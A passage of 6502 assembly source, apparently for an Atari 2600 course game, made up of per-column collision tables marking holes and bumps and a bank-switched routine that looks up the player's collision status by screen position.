dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column11Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column12Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column13Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column14Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column15Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column16Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
;==============================
ORG $EFF6
BANKS_AND_VECTORS
;==============================
;#####################################################
;#####################################################
;#####################################################
;### ###
;### Bank 4 below ###
;### ###
;#####################################################
;#####################################################
;#####################################################
;============
org $F000
;============
JUMP_TABLE
org $F018
rorg $F018
;=================
Bank4Code
;=================
LDA Player0HPosition ; initial value 78
SEC
SBC #16
CLC
ADC #3 ; go from bit zero to bit 3 (of 7).
LSR
LSR ; divide by 4.
; number is 0-31
; If 0-15, handle in previous bank
; If 16-31, handle in this bank
CMP #16
BMI EdgeCaseCheckBank4 ; we take this branch if we got here at middle of screen position case
;BMI ReturntoBank2FromBank4
SEC
SBC #16
TAX
; number is 0-15 for bank4 checks
LDA ProcessTableLSBBank4,X
STA ReturnAddress
LDA ProcessTableMSBBank4,X
STA ReturnAddress+1
; Get the line
LDA Player0VPosition ; initial value 189
SEC
IF DEBUG = 1
SBC #1
ELSE
SBC #3
ENDIF
TAY
LDA (ReturnAddress),Y
;===========
BNE FinishedProcessingBank4
; otherwise, check if we're an edge-case
EdgeCaseCheckBank4
LDA Player0HPosition ; initial value 78
SEC
SBC #16
CLC
ADC #4 ; go from bit zero to bit 4 (of 7).
LSR
LSR ; divide by 4.
; number is 0-31
; If 0-15, handle in previous bank
; If 16-31, handle in this bank
CMP #16
BMI ReturntoBank2FromBank4 ; should never hit
SEC
SBC #16
TAX
; number is 0-15 for bank4 checks
LDA ProcessTableLSBBank4,X
STA ReturnAddress
LDA ProcessTableMSBBank4,X
STA ReturnAddress+1
; Get the line
LDA Player0VPosition ; initial value 189
SEC
IF DEBUG = 1
SBC #1
ELSE
SBC #3
ENDIF
TAY
LDA (ReturnAddress),Y
FinishedProcessingBank4
;===========
STA CollisionStatusFromTable
ReturntoBank2FromBank4
;=================
; Return to Bank 1
;=================
JMP Bank2
;=================
ProcessTableLSBBank4
; 17-24
.byte #<Column17Information
.byte #<Column18Information
.byte #<Column19Information
.byte #<Column20Information
.byte #<Column21Information
.byte #<Column22Information
.byte #<Column23Information
.byte #<Column24Information
; 25-32
.byte #<Column25Information
.byte #<Column26Information
.byte #<Column27Information
.byte #<Column28Information
.byte #<Column29Information
.byte #<Column30Information
.byte #<Column31Information
.byte #<Column32Information
ProcessTableMSBBank4
; 17-24
.byte #>Column17Information
.byte #>Column18Information
.byte #>Column19Information
.byte #>Column20Information
.byte #>Column21Information
.byte #>Column22Information
.byte #>Column23Information
.byte #>Column24Information
; 25-32
.byte #>Column25Information
.byte #>Column26Information
.byte #>Column27Information
.byte #>Column28Information
.byte #>Column29Information
.byte #>Column30Information
.byte #>Column31Information
.byte #>Column32Information
;=================================
; Column Information organization
;=================================
; Conditions handled (LSB):
; Nothing = %0000
; Bump = %0001
; Hole = %0010
; Winning space = %0011
; 8 angles
; Conditions handled (MSB):
; Slope = 0-15
; Slope = UR/UL/DL/DR bump
Column17Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b 0
dc.b HOLE
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
Column18Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
